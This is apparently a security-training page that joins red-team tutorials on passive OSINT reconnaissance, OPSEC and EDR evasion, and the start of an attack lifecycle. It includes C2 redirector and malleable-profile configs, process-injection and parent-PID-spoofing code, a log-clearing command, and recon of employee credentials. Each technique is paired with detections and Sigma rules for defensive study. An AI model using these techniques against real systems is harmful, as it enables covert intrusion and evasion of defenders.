host -t TXT _dmarc.example.com # p=none vs p=reject tells you spoofabilityAn MX pointing to mail.protection.outlook.com identifies Microsoft 365; an SPF record ending in ~all instead of -all, or a missing DMARC policy, flags mail-spoofing potential. This covers Domain Properties (T1590.001) and DNS (T1590.002).
4. Certificate Transparency & Subdomain Enumeration
Under RFC 6962, every publicly trusted CA logs each certificate it issues to append-only, monitorable CT logs. That means every SSL certificate ever issued for a domain is searchable — including certs for staging, dev, and legacy VPN subdomains defenders forgot existed.
# Pull every CT-logged cert for *.example.com and extract unique hostnames
curl -s 'https://crt.sh/?q=%25.example.com&output=json' \
| jq -r '.[].name_value' \
| sed 's/\*\.//g' \
| sort -uAggregators wrap CT and dozens of other passive feeds. Run them in passive mode so they never resolve against the target:
# Passive mode: third-party data sources only, no resolution against the target
amass enum -passive -d example.com -o subs.txt
# Contrast: 'amass enum -active' resolves and brute-forces -> NOT passive, out of scopeForgotten subdomains like legacy-vpn.example.com or jenkins-dev.example.com are gold: they often run unpatched software outside the patch-management lifecycle. This is Digital Certificates (T1596.003).
5. Internet-Wide Scan Databases: Shodan & Censys
Shodan and Censys continuously crawl the entire IPv4 space and index the banner metadata that devices return on open ports — web servers, routers, databases, ICS/OT, cloud instances. Querying their index is fully passive: they touched the target months ago; you only read the cache.
import shodan
api = shodan.Shodan("YOUR_API_KEY") # querying Shodan's index, not the target
results = api.search('org:"Example Corp"')
print(f"Total results: {results['total']}")
for host in results["matches"][:25]: # respect plan rate limits
ip = host["ip_str"]
port = host["port"]
prod = host.get("product", "")
print(f"{ip}:{port}\t{prod}")Pivot with filters: org:, asn:AS64500, port:3389, product:Elasticsearch. Exposed RDP (3389), unauthenticated Elasticsearch (9200), and VPN gateway banners directly enumerate Software (T1592.002), Hardware (T1592.001), and Network Security Appliances (T1590.006). Cross-reference Shodan IPs with your CT-derived subdomains to attach service data to named hosts. This is Scan Databases (T1596.005).
6. Search Engine Dorking (Google Hacking)
Search operators surface content the target inadvertently exposed and the engine indexed. The Google Hacking Database (GHDB) catalogs thousands of proven patterns. Use these manually in a browser — automated scraping violates ToS and risks blocking.
| Dork | What It Finds |
|---|---|
site:example.com filetype:pdf | Public documents (then mine metadata) |
site:example.com intitle:"index of" | Open directory listings |
site:example.com inurl:admin | Login / admin panels |
site:example.com filetype:env OR filetype:cfg | Exposed config files |
site:example.com intext:"sql syntax near" | Error messages leaking internals |
Combining site: with intitle:, inurl:, and filetype: is remarkably effective. Bing serves as a secondary index that sometimes retains content Google dropped. This covers Search Engines (T1593.002) and Search Victim-Owned Websites (T1594).
7. Code Repository Mining
Public repositories leak internal hostnames, tooling, and — too often — live secrets. Search GitHub/GitLab for the org name, email domains, and internal hostnames discovered earlier. For your own repositories, run secret scanners in CI:
# Audit your OWN org's repos for committed secrets (defensive use)
trufflehog github --org=example-corp --only-verified
gitleaks detect --source . --report-format sarif --report-path leaks.sarifCommit history and job postings reveal the technology stack. This is Code Repositories (T1593.003).
8. Organizational & Personnel Intelligence
LinkedIn is the most complete public database of an organization’s employees — org structure, reporting lines, and the technology stack advertised in job postings. Combine with theHarvester and Hunter.io to derive the email-address convention (first.last@), feeding social-engineering target lists.
Public documents carry metadata that maps directly to usernames and software versions:
import subprocess, json
out = subprocess.run(
["exiftool", "-j", "report.pdf"], capture_output=True, text=True
).stdout
meta = json.loads(out)[0]
for f in ("Creator", "Author", "LastModifiedBy", "Producer"):
if f in meta:
print(f"{f}: {meta[f]}") # e.g. Author: jsmith / Producer: Acrobat 15.0This covers Determine Physical Locations (T1591.001), Identify Roles (T1591.004), Employee Names (T1589.003), and Email Addresses (T1589.002).
9. Breach Data & Credential Exposure
Have I Been Pwned, DeHashed, and credential-log collections reveal when employee credentials have been exposed in third-party breaches — frequently before those credentials are weaponized in credential-stuffing.
import requests
domain = "example.com"
headers = {"hibp-api-key": "YOUR_API_KEY", "user-agent": "authorized-recon"}
url = f"https://haveibeenpwned.com/api/v3/breacheddomain/{domain}"
for alias, breaches in requests.get(url, headers=headers).json().items():
print(alias, "->", ", ".join(breaches))Report the breach name, date, and exposed data classes (passwords, hashes, MFA seeds). Never reuse harvested credentials outside RoE scope — possession is recon; authentication is intrusion. This is Credentials (T1589.001).
10. BGP, ASN & IP Range Mapping
To bound the network footprint, resolve a known IP to its origin ASN, then enumerate every prefix that ASN announces. This delineates owned IP space, co-location, and cloud presence — without scanning a single host.
# 1. Resolve an IP to its origin ASN (Team Cymru WHOIS)
whois -h whois.cymru.com " -v 203.0.113.10"
# 2. Enumerate prefixes announced by that ASN
whois -h whois.radb.net -- '-i origin AS64500' | grep -E '^route:'
# 3. Or use the BGPView API for prefixes + upstreams
curl -s https://api.bgpview.io/asn/64500/prefixes | jq -r '.data.ipv4_prefixes[].prefix'This maps Network Trust Dependencies (T1590.003), IP Addresses (T1590.005), and Network Topology (T1590.004).
11. Correlating the Picture: Building a Target Profile
The real power emerges when you correlate intelligence across platforms — joining a CT-derived subdomain to a Shodan banner to an ASN prefix to a breached employee account reveals patterns invisible in any single source. Document findings in a structured, repeatable report.
# OSINT Target Profile — <Engagement ID>
## 1. Scope & Authorization # RoE ref, authorized domains/ASNs, date window
## 2. Domain & DNS # registrar/RDAP, NS, MX, SPF/DKIM/DMARC posture
## 3. Subdomains (CT + passive) # host | source | state (live / parked / dev)
## 4. Exposed Services (Shodan) # ip:port | product | version | notes
## 5. Network Footprint # ASN | prefixes | hosting / cloud providers
## 6. Personnel & Org # key roles | tech stack | SE surface
## 7. Credential Exposure # breach | date | data classes | accounts
## 8. Risk Summary & Recommendations
12. Common Attacker Techniques
| Technique | Description |
|---|---|
| CT-log subdomain harvesting | Mine crt.sh for forgotten dev/staging/VPN hosts |
| Passive DNS pivoting | Use historical IP↔domain data to map shared infrastructure |
| Shodan/Censys banner mining | Identify exposed RDP, databases, and VPN gateways |
| Google dorking | Surface exposed configs, panels, and error leaks |
| Repo secret mining | Recover API keys and hostnames from public commits |
| LinkedIn org mapping | Build personnel and tech-stack intelligence for phishing |
| Breach-data correlation | Match exposed credentials to active employee accounts |
| Document metadata extraction | Derive usernames/software from public PDFs and DOCX |
These feed downstream Initial Access — phishing the personnel map, password-spraying the breach list, or exploiting the exposed service — all of which occur after passive recon and are logged.
13. Defensive Strategies & Detection
Framing: True passive OSINT generates no logs on your systems — the adversary only queries third-party databases. Defense therefore shifts to attack-surface reduction and detecting downstream use of harvested intelligence, not the recon itself.
What Defenders Can Detect (Indirect Signals)
| Signal | Mechanism | Notes |
|---|---|---|
| New certificate issuance | CT monitors: CertSpotter, crt.sh alerts | Subscribe to alerts for new certs on your domains — proactive |
| Shodan/Censys indexing | Not real-time; scanner IP ranges are published | Block known scanner ranges to reduce exposure |
| Downstream credential use | Windows Security EventID 4625 / 4624 / 4648 | HIBP-known creds appearing in auth logs = stuffing/breach |
| Leaked secrets | GitHub secret scanning, truffleHog/gitleaks in CI | Detect before attackers do |
| Active DNS recon | Defender for Identity DnsReconnaissanceSecurityAlert | Catches active DNS recon — not passive external OSINT |
Sigma Sketch — Downstream Credential Use
title: Possible Use of OSINT-Harvested Credentials
logsource:
product: windows
service: security
detection:
selection:
EventID:
- 4625 # Failed logon (credential stuffing)
- 4648 # Explicit credential logon (harvested creds / PtH)
- 4768 # Kerberos AS-REQ with harvested identity
timeframe: 10m
condition: selection | count() by SourceIp > 20
level: high(Add environment-specific thresholds and allow-lists before deployment.)
Hardening / Attack Surface Reduction
| Mitigation | Description |
|---|---|
| Prune DNS & avoid telling names | Purge stale records; don’t name hosts staging-db.example.com |
| Wildcard certificates | Reduce per-subdomain CT exposure |
| CT + brand monitoring | Alert on new subdomains, certs, and leaked references |
| Email auth hardening | Enforce SPF -all, DKIM, and DMARC p=reject |
| Repo secret scanning | Enable GitHub push protection; run gitleaks in CI |
| Monthly Shodan/Censys review | Audit your own ASN; remediate unexpected ports |
| HIBP Domain Search | Enroll in breach-notification API alerts |
| Metadata stripping | exiftool -all= file.pdf before publishing |
| RDAP/registrar privacy | Reduce WHOIS exposure where legally permissible |
| Policy review | Curb LinkedIn oversharing; manage domain lifecycle |
A defender running this exact exercise against their own organization has a structural advantage: OSINT needs no change-approval window because it touches no production systems, so perimeter assessment carries zero operational impact.

14. Tools for OSINT Analysis
| Tool | Description | Link |
|---|---|---|
| Amass | Passive subdomain enumeration & mapping | owasp.org |
| subfinder | Fast passive subdomain discovery | projectdiscovery.io |
| theHarvester | Emails, names, subdomains from public sources | github.com |
| Shodan / Censys | Internet-wide scan databases | shodan.io |
| Recon-ng / SpiderFoot | Modular OSINT automation frameworks | spiderfoot.net |
| crt.sh | Certificate transparency search | crt.sh |
| SecurityTrails | Passive DNS & historical records | securitytrails.com |
| Have I Been Pwned | Breach & credential exposure | haveibeenpwned.com |
| truffleHog / gitleaks | Repo secret scanning | github.com |
| exiftool | Document metadata extraction | exiftool.org |
| BGPView | ASN & prefix enumeration | bgpview.io |
| Wayback Machine | Historical web snapshots | archive.org |
15. MITRE ATT&CK Mapping
All techniques fall under Reconnaissance (TA0043). T1595 Active Scanning is out of scope.
| Technique | MITRE ID | Detection / Reduction |
|---|---|---|
| Gather Victim Network Information | T1590 (.001–.006) | Prune DNS; reduce WHOIS/CT exposure |
| Gather Victim Org Information | T1591 (.001–.004) | LinkedIn-oversharing policy |
| Gather Victim Host Information | T1592 (.001–.004) | Monthly Shodan/Censys self-audit |
| Search Open Websites/Domains | T1593 (.001–.003) | Repo secret scanning; dork your own site |
| Search Victim-Owned Websites | T1594 | Remove exposed configs/listings |
| Search Open Technical Databases | T1596 (.001–.005) | CT monitoring; passive-DNS hygiene |
| Gather Victim Identity Information | T1589 (.001–.003) | HIBP alerts; auth monitoring (4625/4648) |
Summary
- Passive OSINT maps an organization’s entire external attack surface using only third-party data, generating zero packets — and therefore zero logs — on the target.
- The disciplined intelligence cycle (plan → collect → process → analyze → disseminate → monitor) turns scattered searches into a correlated target profile across DNS, CT logs, scan databases, repos, personnel, and breach data.
- Correlation is the multiplier: joining a forgotten subdomain to a Shodan banner to a breached credential reveals reachable exposure invisible in any single source.
- Because passive recon is undetectable on your systems, defense means attack-surface reduction — CT monitoring, DMARC
p=reject, secret scanning, metadata stripping — plus detecting downstream credential use via WindowsEventID 4625/4648. - All techniques map to ATT&CK Reconnaissance (
TA0043); the boundary isT1595Active Scanning, which begins the moment you touch the target directly.
Related Tutorials
- Phishing Campaign Design: Pretexting, Lures, and Target Profiling
- OSINT for People and Credentials: LinkedIn, Breach Data, and Email Harvesting
- Active OSINT: DNS, Certificate Transparency, and Subdomain Enumeration
- Building a Red Team Lab: Infrastructure, VMs, and C2 Setup
- Position-Independent Code: Writing PIC Shellcode Without Hardcoded Addresses
References
- Reconnaissance, Tactic TA0043 – Enterprise | MITRE ATT&CK®
- Gather Victim Identity Information, Technique T1589 – Enterprise | MITRE ATT&CK®
- Search Open Technical Databases, Technique T1596 – Enterprise | MITRE ATT&CK®
- Search Open Websites/Domains: Search Engines, Sub-technique T1593.002 – Enterprise | MITRE ATT&CK®
- Search Open Technical Databases: DNS/Passive DNS, Sub-technique T1596.001 – Enterprise | MITRE ATT&CK®
- NIST SP 800-115: Technical Guide to Information Security Testing and Assessment
OPSEC Principles for Red Teamers: Staying Undetected
Objective: Understand the operational security discipline an authorized red teamer must apply across infrastructure, process execution, network traffic, and on-disk artifacts to minimize detection surface, and learn the corresponding telemetry defenders use to catch each OPSEC failure.
1. What OPSEC Means for Red Teamers
Operational security is the discipline that separates a noisy penetration test from a realistic adversary simulation. A red team engagement that triggers every EDR sensor on the first beacon delivers a process audit, not a threat-emulation result. Every action — every API call, every DNS query, every dropped file — generates a detection signature. Strong OPSEC means knowing precisely what artifacts each action produces and either avoiding the action, blending it into noise, or accepting the risk consciously.
This tutorial is written for authorized red teamers and the blue teams who hunt them. Every offensive technique is paired with the exact telemetry that exposes it, so operators can self-audit and defenders can close the loop.
2. The Five-Step OPSEC Cycle Applied to Red Teaming
The classic OPSEC process, adapted to an offensive engagement:
| Step | Action | Red Team Application |
|---|---|---|
| 1 | Identify critical information | Tooling names, operator IPs, attacker hostnames, C2 domains, callback patterns |
| 2 | Analyze threats | EDR vendor, NDR, SIEM rule set, threat-hunt team maturity |
| 3 | Analyze vulnerabilities | Which artifacts each TTP leaves (Sysmon ID, ETW provider, file path) |
| 4 | Assess risk | Likelihood × impact of each artifact being correlated |
| 5 | Apply countermeasures | Malleable profiles, LOLBins, in-memory execution, in-scope log suppression |
Operators run this loop before each phase — initial access, lateral movement, persistence, exfiltration — not once at the start of the engagement.

3. Thinking Like a Sensor: The Defender’s Telemetry Stack
You cannot evade what you do not understand. Modern defenders correlate signals from at least five overlapping layers:
| Sensor Layer | What it sees |
|---|---|
| Sysmon | Process create, network connect, image load, thread injection, pipe create, DNS query |
| ETW | Kernel-level process/thread events, Microsoft-Windows-Threat-Intelligence, PowerShell script block logging |
| AMSI | In-process scan of script content before execution |
| EDR | Userland API hooks, kernel callbacks, behavioral chains |
| NDR / SIEM | Beacon periodicity, JA3/JA4 fingerprints, DNS anomalies, log correlation |
The Microsoft-Windows-Threat-Intelligence provider deserves a callout: it is PPL-protected and is the primary ETW source EDRs use for injection telemetry. Any attempt to disable it is itself a high-fidelity alert (T1562.001).
4. Infrastructure OPSEC: Redirectors, Domains, and Segmentation
If your C2 team server is exposed directly to the target network, a single block at the perimeter ends the engagement. Infrastructure OPSEC is about layering the chain so that the loud parts are disposable.
| Component | OPSEC Detail |
|---|---|
| Redirectors | Apache mod_rewrite or Nginx reverse proxies between implant and team server; filter on URI, User-Agent, and source ASN |
| Categorized / aged domains | Domains > 90 days old, plausible web presence, Whois privacy, matching TLS certificates from a real CA |
| TLS hygiene | Avoid default self-signed Cobalt Strike certs; serve a valid LetsEncrypt or commercial cert matching the fronted domain |
| Provider segmentation | Spread redirectors, payload hosts, and team servers across multiple providers and regions; a defender who blocks one ASN should not break the entire kill chain |
| Domain fronting / CDN abuse | TLS SNI presents a fronted CDN host while the Host: header routes to the operator’s origin (T1090.004) |
A minimal Nginx redirector enforcing path-based filtering:
server {
listen 443 ssl;
server_name updates.example-cdn.com;
ssl_certificate /etc/letsencrypt/live/.../fullchain.pem;
ssl_certificate_key /etc/letsencrypt/live/.../privkey.pem;
# Drop anything that isn't on the expected beacon URI
if ($uri !~* "^/(api/v2/telemetry|cdn/assets)") {
return 404;
}
# Drop scanners and unexpected User-Agents
if ($http_user_agent !~* "Mozilla/5\.0.*Chrome") {
return 404;
}
location / {
proxy_pass https://teamserver.internal:8443;
proxy_set_header Host $host;
}
}
5. Malleable C2 Profiles and Traffic Shaping
Default C2 profiles are signatured. A malleable profile rewrites every byte the beacon puts on the wire so traffic blends with expected enterprise patterns.
http-get {
set uri "/api/v2/telemetry";
client {
header "Host" "updates.example-cdn.com";
header "Accept" "application/json";
metadata {
base64url;
prepend "session=";
header "Cookie";
}
}
server {
header "Content-Type" "application/json";
output {
base64;
prepend "{\"status\":\"ok\",\"data\":\"";
append "\"}";
print;
}
}
}
http-post {
set uri "/api/v2/upload";
client {
header "Content-Type" "application/octet-stream";
id { base64url; parameter "tid"; }
output { base64; print; }
}
}Key directives: the metadata transform hides session state in a cookie; Host: masquerades as a CDN; URIs match a believable application path. The corresponding http-stager, process-inject, and post-ex blocks must also be customized — default stager URIs are the number-one Cobalt Strike fingerprint.
6. Process & Memory OPSEC
The classic injection triad is also the most signatured behavior in Windows. The following is shown as a “what not to do naively” reference — every line annotates the telemetry it produces:
// VirtualAllocEx in remote PID -> Sysmon EID 10 (PROCESS_VM_OPERATION)
LPVOID rbuf = VirtualAllocEx(hProc, NULL, sz,
MEM_COMMIT | MEM_RESERVE,
PAGE_EXECUTE_READWRITE); // RWX = EDR red flag
// WriteProcessMemory -> Sysmon EID 10 (PROCESS_VM_WRITE)
WriteProcessMemory(hProc, rbuf, sc, sz, NULL);
// CreateRemoteThread -> Sysmon EID 8 (CreateRemoteThread)
HANDLE hThr = CreateRemoteThread(hProc, NULL, 0,
(LPTHREAD_START_ROUTINE)rbuf,
NULL, 0, NULL);Quieter alternatives reduce — but do not eliminate — visibility:
- Section-based injection via
NtMapViewOfSection(T1055.004) avoidsWriteProcessMemorybut is still observable via Threat-Intelligence ETW. - APC injection via
NtQueueApcThreadtriggers only when the target thread enters an alertable wait. - Reflective DLL / PE loading (
T1620) avoidsLoadLibraryand Sysmon Event ID 7 module-load entries for the malicious DLL path. - Direct / indirect syscalls (the
SysWhispers3pattern) bypass userland EDR hooks by invokingNTAPInumbers via thesyscallinstruction. - Allocate
RW, thenVirtualProtecttoRX— never requestPAGE_EXECUTE_READWRITEdirectly.
Process selection matters as much as the technique. notepad.exe initiating an outbound connection is anomalous; a browser or svchost.exe doing so is not.

7. Parent PID Spoofing
Parent-child chains are one of the cheapest behavioral detections. Spoofing the parent via UpdateProcThreadAttribute breaks the chain so a payload launched from a phishing macro can claim explorer.exe as its parent (T1134.004).
STARTUPINFOEXA si = { 0 };
PROCESS_INFORMATION pi = { 0 };
SIZE_T attrSize = 0;
si.StartupInfo.cb = sizeof(STARTUPINFOEXA);
InitializeProcThreadAttributeList(NULL, 1, 0, &attrSize);
si.lpAttributeList = HeapAlloc(GetProcessHeap(), 0, attrSize);
InitializeProcThreadAttributeList(si.lpAttributeList, 1, 0, &attrSize);
HANDLE hParent = OpenProcess(PROCESS_CREATE_PROCESS, FALSE, explorerPid);
UpdateProcThreadAttribute(si.lpAttributeList, 0,
PROC_THREAD_ATTRIBUTE_PARENT_PROCESS,
&hParent, sizeof(HANDLE), NULL, NULL);
CreateProcessA(NULL, "C:\\Windows\\System32\\cmd.exe", NULL, NULL, FALSE,
EXTENDED_STARTUPINFO_PRESENT, NULL, NULL,
&si.StartupInfo, &pi);The spoofed parent appears in Sysmon Event ID 1’s ParentProcessId and ParentImage fields. Detection: correlate ParentImage with the CreatingProcessId recorded by EDR kernel callbacks — they will disagree on a spoofed launch.
8. Network OPSEC: Sleep, Jitter, and Protocol Blending
A beacon calling back every 60 seconds on the dot is trivially clustered by an NDR. Add jitter:
import random, time
def beacon_sleep(base_seconds: int, jitter_pct: int) -> None:
delta = base_seconds * (jitter_pct / 100.0)
interval = base_seconds + random.uniform(-delta, +delta)
# 60s base, 30% jitter -> 42s..78s
time.sleep(interval)A 60s ± 30% schedule destroys naive periodicity heuristics; longer sleeps (3600s ± 50%) defeat most short-window NDR baselines but cost interactivity. Match channel to environment:
| Channel | When to use |
|---|---|
| HTTPS | Default; blends with web traffic if profile is well-tuned (T1071.001) |
| DNS (TXT/A) | Egress-restricted networks; low bandwidth, noisy on Sysmon EID 22 (T1071.004) |
| SMB named pipe | Lateral peer-to-peer beaconing; avoid default msagent_* pipe names |
| Domain-fronted HTTPS | Where CDN egress is allowed and DPI cannot inspect SNI (T1090.004) |
9. LOLBins and In-Memory Execution
Living-off-the-Land Binaries (LOLBins) are signed Microsoft binaries that proxy execution and inherit trust. The trade-off is that they are now heavily monitored — rundll32.exe spawned by winword.exe is a textbook ASR trigger.
| Binary | Common Abuse |
|---|---|
rundll32.exe | Execute exported function from a DLL (T1218.011) |
regsvr32.exe | Squiblydoo: scriptlet execution (T1218.010) |
mshta.exe | HTA / inline VBScript execution (T1218.005) |
wmic.exe | Process invocation; deprecated but still present |
certutil.exe -decode | Decode staged base64 payloads (T1140) |
In-memory execution avoids disk artifacts entirely:
- BOFs (Beacon Object Files) execute small COFF objects inside the implant process — no new process, no file on disk.
Assembly.Load()loads a .NET assembly from a byte array, bypassingImage Loadevents for the managed module on disk.- Reflective DLL loading maps a DLL without invoking the loader, so it never appears in
LoadLibraryaudit paths.
A note on PowerShell: powershell -enc <base64> looks obfuscated and is logged by Sysmon Event ID 1 in its decoded form once Script Block Logging is enabled. AMSI sees the deobfuscated content immediately before execution. Encoding is not evasion against a modern stack.
10. Artifact & Log OPSEC
Cleaning up is part of the engagement — but cleanup itself is loud.
| Action | ATT&CK | OPSEC Caveat |
|---|---|---|
| Timestomping | T1070.006 | NtSetInformationFile with FileBasicInformation rewrites $STANDARD_INFORMATION; $FILE_NAME MFT attribute is not updated and remains forensically accurate |
| Event log clearing | T1070.001 | wevtutil cl Security generates Event ID 1102 (Security) / 104 (System) — the act of clearing is itself the alert |
| Disabling ETW | T1562.002 | Patching EtwEventWrite in-process is in-memory only and not logged — but Threat-Intelligence provider observes the patch via kernel callbacks on PPL-aware EDRs |
| File deletion | T1070.004 | NTFS $MFT entries persist; Volume Shadow Copies retain prior versions; USN journal records the unlink |
Rule of thumb: do not clear logs unless the engagement scope explicitly authorizes it. Selective in-process ETW suppression is quieter, scope-limited, and reversible.
11. The OPSEC Operator Checklist
| Phase | Check |
|---|---|
| Pre-op | Hostnames renamed off kali; tool hashes scrubbed; C2 profile validated against default-detection rules |
| Pre-op | Domains aged > 90 days, valid TLS certs, redirector ACLs in place, infra segmented across providers |
| Pre-op | Beacon sleep + jitter set; default pipe names changed; default Spawnto_x64 rewritten |
| During | Prefer in-memory execution (BOF, reflective, Assembly.Load); avoid disk staging |
| During | Spoof PPIDs where parent-child chains would otherwise flag; pick injection targets that already make network calls |
| During | Never run Mimikatz from disk; use in-memory credential access only with explicit authorization |
| During | Modify existing services rather than creating new ones (avoids Event ID 7045) |
| Post-op | Remove staging artifacts; never clear Security/System logs unless scope explicitly authorizes it |
| Post-op | Document every artifact for the client report — defenders need the IOC list for purple-team validation |
12. Common Attacker Techniques
| Technique | Description |
|---|---|
| Classic remote thread injection | VirtualAllocEx + WriteProcessMemory + CreateRemoteThread — most signatured behavior on Windows |
| APC injection | NtQueueApcThread into alertable threads (T1055.004) |
| Process hollowing | CreateProcess suspended → unmap → write → ResumeThread (T1055.012) |
| Parent PID spoofing | PROC_THREAD_ATTRIBUTE_PARENT_PROCESS to break parent-child chain (T1134.004) |
| Direct / indirect syscalls | Bypass userland API hooks via syscall instruction |
| Reflective DLL loading | Map DLL without LoadLibrary (T1620) |
| ETW / AMSI patching | In-process patch of EtwEventWrite / AmsiScanBuffer (T1562.001) |
| LOLBin proxied execution | rundll32, regsvr32, mshta (T1218) |
| Domain fronting | CDN-fronted TLS to mask C2 destination (T1090.004) |
| Timestomping | Rewrite $STANDARD_INFORMATION MACE timestamps (T1070.006) |
13. Defensive Strategies & Detection
The OPSEC failures above map directly to telemetry. Defenders should focus on behavior chains, not isolated IOCs — fixating on hashes catches yesterday’s adversary.
| Sysmon Event ID | Captures | OPSEC Failure It Catches |
|---|---|---|
1 | Process Create + CommandLine + ParentImage | LOLBin abuse, PPID-spoof inconsistencies, encoded PowerShell |
3 | Network Connection | Beacon callbacks; non-network processes (notepad.exe) initiating connections |
7 | Image Loaded | Unusual DLL load paths; signed-binary side-loading (T1574) |
8 | CreateRemoteThread | Classic injection triad (T1055.001) |
10 | ProcessAccess | GrantedAccess masks like 0x1010 against lsass.exe (T1003.001) |
11 | FileCreate | Staging artifacts in %TEMP%, %PUBLIC%, \ProgramData\ |
17 / 18 | Pipe Created / Connected | Default Beacon pipe names (msagent_*, status_*, postex_*) |
22 | DNS Query | DNS C2 (T1071.004) — high-frequency TXT/A to uncommon domains |
A Sigma sketch for the most common parent-spoof + LOLBin pattern:
title: Office Application Spawning rundll32 via Spoofed Parent
logsource:
product: windows
service: sysmon
detection:
selection_proc:
EventID: 1
Image|endswith: '\rundll32.exe'
ParentImage|endswith:
- '\explorer.exe'
- '\svchost.exe'
selection_cmd:
CommandLine|contains:
- ',DllRegisterServer'
- 'javascript:'
- 'shell32.dll,Control_RunDLL'
filter_signed_paths:
CurrentDirectory|startswith: 'C:\Windows\System32\'
condition: selection_proc and selection_cmd and not filter_signed_paths
level: highWindows Security audit events to enable: 4688 (process creation with command line), 4698 (scheduled task), 7045 (new service), 1102 (Security log cleared), 4656/4663 (object access via SACL). Enable PowerShell Script Block Logging and Module Logging via GPO. Set HKLM\SYSTEM\CurrentControlSet\Control\Lsa\RunAsPPL = 1 to protect LSASS, deploy Credential Guard, and enforce ASR rules blocking Office child-process spawning and LSASS credential theft. A misconfigured Sysmon ruleset is the single most common reason behavior-based detection fails — deploy a tuned config (e.g., SwiftOnSecurity or olafhartong’s modular config) and review it quarterly.

14. Tools for Red Team OPSEC Analysis
| Tool | Description | Link |
|---|---|---|
| Sysmon | Microsoft endpoint telemetry agent — the primary source for behavioral detection | sysinternals.com |
| SwiftOnSecurity / olafhartong configs | Community Sysmon configurations tuned for detection coverage | github.com |
| Process Hacker | Inspect injected memory regions, RWX allocations, suspicious threads | processhacker.sourceforge.io |
| Process Monitor | File, registry, and process activity tracing during purple-team replay | sysinternals.com |
| Sigma | Generic SIEM detection rule format used in this post | sigmahq.io |
| Velociraptor | DFIR + hunt agent; runs VQL queries across the estate | velociraptor.app |
| Volatility 3 | Memory forensics — detects reflective loads, injected sections, hollowed processes | volatilityfoundation.org |
| SilkETW / SealighterTI | Surface Microsoft-Windows-Threat-Intelligence and other ETW providers | github.com |
| Wireshark / Zeek | Network analysis for beacon periodicity, JA3/JA4 fingerprints, DNS C2 | zeek.org |
15. MITRE ATT&CK Mapping
| Technique | MITRE ID | Detection |
|---|---|---|
| Process Injection | T1055 | Sysmon EID 8/10; Threat-Intelligence ETW |
| DLL Injection | T1055.001 | Sysmon EID 8 with TargetImage |
| APC Injection | T1055.004 | Threat-Intelligence ETW; EDR kernel callbacks |
| Process Hollowing | T1055.012 | Image base mismatch; memory forensics (Volatility) |
| Parent PID Spoofing | T1134.004 | Sysmon EID 1 ParentImage vs EDR CreatingProcessId mismatch |
| Obfuscated Files / Info | T1027 | PowerShell Script Block Logging; AMSI |
| Clear Windows Event Logs | T1070.001 | Event ID 1102 / 104 |
| Timestomp | T1070.006 | $FILE_NAME vs $STANDARD_INFORMATION divergence in MFT |
| Web Protocols C2 | T1071.001 | NDR JA3/JA4 + URI anomalies |
| DNS C2 | T1071.004 | Sysmon EID 22; DNS-Client ETW |
| Proxy / Redirector | T1090 | Outbound destination ASN baseline drift |
| Domain Fronting | T1090.004 | SNI vs Host: header divergence (where TLS inspection exists) |
| System Binary Proxy Execution | T1218 | Sysmon EID 1 LOLBin command-line patterns |
| Disable or Modify Tools | T1562.001 | Threat-Intelligence ETW; EDR self-protection alerts |
| Disable Event Logging | T1562.002 | Audit policy change events; ETW provider state |
| Reflective Code Loading | T1620 | Memory forensics; RWX private region scans |
16. Summary
- OPSEC is the discipline of knowing exactly what telemetry every offensive action produces, and making conscious risk decisions about each one.
- The five-step OPSEC cycle (identify, threat, vuln, risk, countermeasure) is run before each engagement phase, not once at kickoff.
- Infrastructure OPSEC layers redirectors, aged categorized domains, segmented providers, and customized malleable C2 profiles — defaults are signatured.
- Process and network OPSEC favor in-memory execution (BOF, reflective load,
Assembly.Load), PPID spoofing, sensible injection-target selection, and sleep + jitter to destroy beacon periodicity. - Log and artifact suppression is a sharp tool: timestomping leaves
$FILE_NAMEevidence,wevtutil cltriggers Event ID 1102, and ETW patching is itself observed by the Threat-Intelligence provider. - Defenders close every loop with Sysmon, ETW, AMSI, and behavior-chain Sigma rules — focus on TTP chains, not IOCs, to catch operators who actually practice OPSEC.
Related Tutorials
- Building a Red Team Lab: Infrastructure, VMs, and C2 Setup
- Red Teaming Fundamentals: Mindset, Methodology, and Engagement Types
- Phishing Campaign Design: Pretexting, Lures, and Target Profiling
- OSINT for People and Credentials: LinkedIn, Breach Data, and Email Harvesting
- Active OSINT: DNS, Certificate Transparency, and Subdomain Enumeration
References
- MITRE ATT&CK: Defense Evasion (TA0005) — Enterprise Tactic
- MITRE ATT&CK: Masquerading (T1036) — Defense Evasion Technique
- NIST CSRC: Red Team Exercise — Glossary & SP 800-53 Rev. 5 Reference
- SANS SEC565: Red Team Operations and Adversary Emulation (OPSEC Hardening & C2 Infrastructure)
- MITRE ATT&CK: Indicator Removal (T1070) — Covering Tracks Technique
- Red Canary: Atomic Red Team — Open-Source MITRE ATT&CK-Mapped Test Library
The Attack Lifecycle: Reconnaissance to Exfiltration
Objective: Understand how a real-world adversary operation unfolds across the full MITRE ATT&CK Enterprise lifecycle — from pre-engagement reconnaissance through to data exfiltration — and learn how each phase is executed by authorized red teams and detected and disrupted by defenders.
1. Red Teaming & the Attack Lifecycle — Why It Matters
MITRE ATT&CK categorizes the tactics, techniques, and procedures (TTPs) used by real-world threat actors into a standardized matrix of adversary behaviors spanning the entire attack lifecycle. It is organized into three layers:
- Tactics — the tactical goals an adversary pursues (the “why”).
- Techniques — the actions taken to achieve those goals (the “how”).
- Procedures — the concrete technical steps to perform a technique.
The Enterprise matrix contains 14 tactics, beginning with Reconnaissance (TA0043) and ending with Impact. Unlike Lockheed Martin’s linear Cyber Kill Chain, ATT&CK is a behavior catalog — a red team uses it to plan a realistic operation, and a blue team uses the same IDs to measure detection coverage. This tutorial walks a simulated Windows enterprise engagement phase by phase, pairing each offensive step with its detection telemetry.
2. Pre-Engagement: Rules of Engagement and Scoping
No technique in this tutorial is legal without written authorization. A red team operation begins with a signed Rules of Engagement (RoE) document that fixes:
| Scope Item | Purpose |
|---|---|
| In-scope IP ranges / domains | Bounds active scanning (T1595) and exploitation |
| Excluded systems | Protects production / safety-critical assets |
| Permitted TTPs | Authorizes phishing, credential access, lateral movement |
| Engagement window | Defines start/stop times and blackout periods |
| Emergency contacts | Enables immediate stand-down if impact escalates |
| Data handling | Governs how collected/exfiltrated data is stored and destroyed |
Threat-model selection (e.g., emulating a specific intrusion set) drives which techniques are exercised. Everything that follows assumes explicit, documented authorization.
3. Reconnaissance & Resource Development (TA0043, TA0042)
Reconnaissance (TA0043) gathers information about the target environment for use in later phases. It splits into passive collection — which never touches target infrastructure — and active scanning.
